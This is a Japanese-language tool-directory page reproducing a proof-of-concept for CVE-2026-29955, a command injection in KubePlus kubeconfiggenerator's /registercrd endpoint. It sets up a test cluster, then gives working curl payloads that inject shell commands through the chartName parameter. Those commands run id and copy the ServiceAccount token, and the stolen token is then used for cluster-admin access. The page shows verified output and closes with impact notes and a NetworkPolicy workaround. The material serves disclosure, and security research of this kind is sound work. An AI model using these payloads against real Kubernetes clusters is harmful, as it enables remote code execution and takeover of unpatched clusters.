Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-29955 — CVE-2026-29955の概念実証。KubePlus kubeconfiggeneratorにおけるコマンドインジェクションの脆弱性で、Kubernetesクラスターでのリモートコード実行とServiceAccountトークンの窃取を可能にします。 | Kitploit
ツール/GitHubGitHub/b0b0haha/cve-2026-29955
コンテナセキュリティ脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストクラウドセキュリティ
GitHubb0b0haha/cve-2026-29955

CVE-2026-29955

CVE-2026-29955の概念実証。KubePlus kubeconfiggeneratorにおけるコマンドインジェクションの脆弱性で、Kubernetesクラスターでのリモートコード実行とServiceAccountトークンの窃取を可能にします。

リポジトリを見る
5ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

KubePlus KubeconfigGenerator コマンドインジェクションの脆弱性

この脆弱性はKubePlusのkubeconfiggeneratorコンポーネントに存在し、HTTPインターフェースにアクセスできる攻撃者がchartNameパラメータを介してシェルコマンドを注入し、コンテナ内でrootとして任意のコードを実行し、クラスタ管理者権限を持つServiceAccountトークンを窃取できる可能性があります。推奨されるCWE分類: CWE-78(OSコマンドインジェクション)。

概要

KubePlus kubeconfiggeneratorコンポーネントの/registercrdエンドポイントはコマンドインジェクションに対して脆弱です。このコンポーネントはsubprocess.Popen()をshell=Trueパラメータ付きで使用してシェルコマンドを実行し、ユーザーが指定したchartNameパラメータがサニタイズや検証なしにコマンド文字列に直接連結されます。攻撃者は悪意のあるchartNameパラメータ値を細工することで、任意のシェルコマンドを注入できます。

詳細

根本原因

CRD登録リクエストを処理する際、kubeconfiggeneratorコンポーネントはHelmチャートをダウンロードして展開します。download_and_untar_chart()関数では、chartNameパラメータがシェルコマンドに直接連結されます:

ファイル: deploy/kubeconfiggenerator.py:60-69

root@kitploit:~
def run_command(cmd):
    print(cmd)
    cmdOut = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).communicate()
    out = cmdOut[0].decode('utf-8')
    err = cmdOut[1].decode('utf-8')
    return out, err

ファイル: deploy/kubeconfiggenerator.py:554

root@kitploit:~
wget = "wget -O /" + charttgz + " --no-check-certificate " + chartLoc
out, err = run_command(wget)

ファイル: deploy/kubeconfiggenerator.py:562

root@kitploit:~
cmd = "rm -rf /" + chartName
out, err = run_command(cmd)

shell=Trueパラメータのため、攻撃者はシェルコマンド置換構文$(command)を使用して任意のコマンドを注入できます。

攻撃ベクトル

悪意のあるchartNameパラメータを含むHTTPリクエストを/registercrdエンドポイントに送信することで、攻撃者はkubeconfiggeneratorコンテナ内で任意のコマンドを実行できます。コンテナはrootとして実行され、そのServiceAccountにはクラスタ管理者権限があるため、攻撃者は以下を実行できます:

  1. 任意のシステムコマンドの実行
  2. コンテナ内の機密ファイルの読み取り
  3. ServiceAccountトークンの窃取
  4. 窃取したトークンを使用したKubernetes APIへのアクセス

PoC

環境構築

1. Kindクラスタの作成

root@kitploit:~
# Kindクラスタ設定の作成
cat > kind-config.yaml << 'EOF'
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
name: kubeplus-test
nodes:
  - role: control-plane
EOF

# クラスタの作成
kind create cluster --config kind-config.yaml

# クラスタの確認
kubectl cluster-info
kubectl get nodes

期待される出力:

root@kitploit:~
Kubernetes control plane is running at https://127.0.0.1:xxxxx
CoreDNS is running at https://127.0.0.1:xxxxx/api/v1/namespaces/kube-system/services/kube-dns:dns/proxy

NAME                          STATUS   ROLES           AGE   VERSION
kubeplus-test-control-plane   Ready    control-plane   1m    v1.27.3

2. KubePlusのインストール

root@kitploit:~
# 作業ディレクトリの作成
mkdir -p /tmp/kubeplus-poc && cd /tmp/kubeplus-poc

# KubePlusプラグインのダウンロード
wget https://github.com/cloud-ark/kubeplus/releases/download/kubeplus-kubectl-plugins-v4.1.4/kubeplus-kubectl-plugins-v4.1.4.tar.gz
tar -xzf kubeplus-kubectl-plugins-v4.1.4.tar.gz

# provider-kubeconfigスクリプトのダウンロード
wget https://raw.githubusercontent.com/cloud-ark/kubeplus/master/requirements.txt
wget https://raw.githubusercontent.com/cloud-ark/kubeplus/master/provider-kubeconfig.py

# Python環境のセットアップ
python3 -m venv venv
source venv/bin/activate
pip3 install -r requirements.txt
pip3 install PyYAML kubernetes

# APIサーバーアドレスの取得
apiserver=$(kubectl config view --minify -o jsonpath='{.clusters[0].cluster.server}')

# provider kubeconfigの作成
python3 provider-kubeconfig.py -s $apiserver create default

期待される出力:

root@kitploit:~
Provider kubeconfig created: kubeplus-saas-provider.json

3. HelmによるKubePlusのインストール

root@kitploit:~
# KubePlus Helmチャートのダウンロード
curl -sL "https://github.com/cloud-ark/operatorcharts/raw/master/kubeplus-chart-4.2.0.tgz" -o kubeplus-chart.tgz

# KubePlusのインストール
helm install kubeplus kubeplus-chart.tgz --kubeconfig=kubeplus-saas-provider.json -n default

# Podの準備完了を待機
kubectl wait --for=condition=Ready pod -l app=kubeplus -n default --timeout=180s

# インストールの確認
kubectl get pods -n default -l app=kubeplus

期待される出力:

root@kitploit:~
NAME                                   READY   STATUS    RESTARTS   AGE
kubeplus-deployment-57dbf6f8b9-xxxxx   5/5     Running   0          2m

4. ポートフォワーディングの設定

root@kitploit:~
# Pod名の取得
export WEBHOOK_POD=$(kubectl get pods -n default -l app=kubeplus -o jsonpath='{.items[0].metadata.name}')

# ポートフォワーディングの設定
kubectl port-forward svc/kubeconfighelper -n default 5005:91 &

# サービスへのアクセス確認
curl -s http://localhost:5005/hello

期待される出力:

root@kitploit:~
hello world

悪用手順

ステップ1: コマンドインジェクションの実行(idコマンド)

悪意のあるchartNameパラメータを含むリクエストを送信:

root@kitploit:~
curl -s 'http://localhost:5005/registercrd?kind=Test&version=v1&group=test.io&plural=tests&chartURL=https://example.com/test.tgz&chartName=$(id>/tmp/pwned.txt)'

ステップ2: コマンド実行の確認

root@kitploit:~
kubectl exec -n default $WEBHOOK_POD -c kubeconfiggenerator -- cat /tmp/pwned.txt

実際の検証出力:

root@kitploit:~
uid=0(root) gid=0(root) groups=0(root)

ステップ3: ServiceAccountトークンの窃取

root@kitploit:~
curl -s 'http://localhost:5005/registercrd?kind=Test2&version=v1&group=test2.io&plural=test2s&chartURL=https://example.com/test.tgz&chartName=$(cat%20/var/run/secrets/kubernetes.io/serviceaccount/token>/tmp/stolen-token.txt)'

ステップ4: 窃取したトークンの抽出

root@kitploit:~
kubectl exec -n default $WEBHOOK_POD -c kubeconfiggenerator -- cat /tmp/stolen-token.txt

実際の検証出力:

root@kitploit:~
eyJhbGciOiJSUzI1NiIsImtpZCI6Iklua3NNSkdubUtOcnZycUZkMGlJTE5meV9jVk85WFQxZ2dBZjVtOFJ0VncifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxODAxNDg5MjYyLCJpYXQiOjE3Njk5NTMyNjIsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJrdWJlcGx1cy1kZXBsb3ltZW50LTU3ZGJmNmY4YjktcHh2YzUiLCJ1aWQiOiI4ZjBmNDQ0NS1mZTQ0LTQxMjUtYjEwMi03YzQzZDkyMjEyMmYifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6Imt1YmVwbHVzLXNhYXMtcHJvdmlkZXIiLCJ1aWQiOiJlZjljYjFmZi03NWI1LTRmZmMtYjdjMS01Yjc3NjhjNWFiYzQifSwid2FybmFmdGVyIjoxNzY5OTU2ODY5fSwibmJmIjoxNzY5OTUzMjYyLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6ZGVmYXVsdDprdWJlcGx1cy1zYWFzLXByb3ZpZGVyIn0...

ステップ5: トークンの権限確認

root@kitploit:~
STOLEN_TOKEN=$(kubectl exec -n default $WEBHOOK_POD -c kubeconfiggenerator -- cat /tmp/stolen-token.txt)
kubectl auth can-i --list --token="$STOLEN_TOKEN"

実際の検証出力:

root@kitploit:~
Resources                                       Non-Resource URLs   Resource Names   Verbs
*.*                                             []                  []               [*]
                                                [*]                 []               [*]
selfsubjectreviews.authentication.k8s.io        []                  []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                  []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                  []               [create]

サーバー側ログの証拠

kubeconfiggeneratorコンテナのログは、コマンドインジェクションが実行されたことを示しています:

root@kitploit:~
[01/Feb/2026 13:49:32] Inside registercrd
kind:Test
version:v1
group:test.io
plural:tests
chartURL:https://example.com/test.tgz
download_and_untar_chart
wget command:wget -O /$(id>/tmp/pwned2.txt).tgz --no-check-certificate https://example.com/test.tgz
...
Deleting the previous chart folder:$(id>/tmp/pwned2.txt)
root@kitploit:~
[01/Feb/2026 13:49:56] Inside registercrd
kind:Test2
version:v1
group:test2.io
plural:test2s
chartURL:https://example.com/test.tgz
download_and_untar_chart
wget command:wget -O /$(cat /var/run/secrets/kubernetes.io/serviceaccount/token>/tmp/stolen-token.txt).tgz --no-check-certificate https://example.com/test.tgz
...
Deleting the previous chart folder:$(cat /var/run/secrets/kubernetes.io/serviceaccount/token>/tmp/stolen-token.txt)

影響

この脆弱性により、攻撃者は以下を実行できます:

  1. リモートコード実行: kubeconfiggeneratorコンテナ内でrootとして任意のコマンドを実行
  2. 認証情報の窃取: クラスタ管理者権限(*.*)を持つServiceAccountトークンの窃取
  3. クラスタの乗っ取り: 窃取したトークンを使用して、Podの作成/削除、Secretの読み取り、RBAC設定の変更など、任意のKubernetes API操作を実行
  4. 水平移動: クラスタ内の任意のネームスペースのリソースにアクセス

前提条件

  • 攻撃者はkubeconfighelperサービスのHTTPインターフェース(ポート5005)へのアクセスが必要
  • このサービスはデフォルトでクラスタ内からアクセス可能

深刻度

CVSS v3.1スコア: 8.8(高)

ベクター: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

  • 攻撃ベクトル(AV): ネットワーク
  • 攻撃の複雑さ(AC): 低
  • 必要な権限(PR): 低(kubeconfighelperサービスへのアクセスが必要)
  • ユーザー操作(UI): なし
  • スコープ(S): 変更なし
  • 機密性(C): 高(ServiceAccountトークンを窃取可能)
  • 完全性(I): 高(任意のコマンドを実行可能)
  • 可用性(A): 高(サービスの可用性に影響を与える可能性)

影響を受けるバージョン

  • KubePlus v4.2.0およびそれ以前のバージョン
  • コマンド実行にshell=Trueを使用しているすべてのバージョン

修正済みバージョン

現時点で修正済みのバージョンはありません。

回避策

  1. ネットワーク分離: NetworkPolicyを使用してkubeconfighelperサービスへのアクセスを制限
  2. RBACの制限: kubeplus-saas-provider ServiceAccountの権限を削減
  3. 監視: kubeconfiggeneratorコンテナ内の異常なコマンド実行を監視
root@kitploit:~
# NetworkPolicyの例
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: restrict-kubeconfighelper
  namespace: default
spec:
  podSelector:
    matchLabels:
      app: kubeplus
  policyTypes:
  - Ingress
  ingress:
  - from:
    - podSelector:
        matchLabels:
          trusted: "true"
    ports:
    - protocol: TCP
      port: 5005

参考情報

  • CWE-78: OSコマンドに使用される特殊要素の不適切な無効化('OSコマンドインジェクション')
  • OWASPコマンドインジェクション: https://owasp.org/www-community/attacks/Command_Injection
  • Python subprocessのセキュリティ: https://docs.python.org/3/library/subprocess.html#security-considerations
  • Kubeplus: https://github.com/cloud-ark/kubeplus

クレジット

@b0b0haha ([email protected]) @lixingquzhi ([email protected])

ツールをダウンロード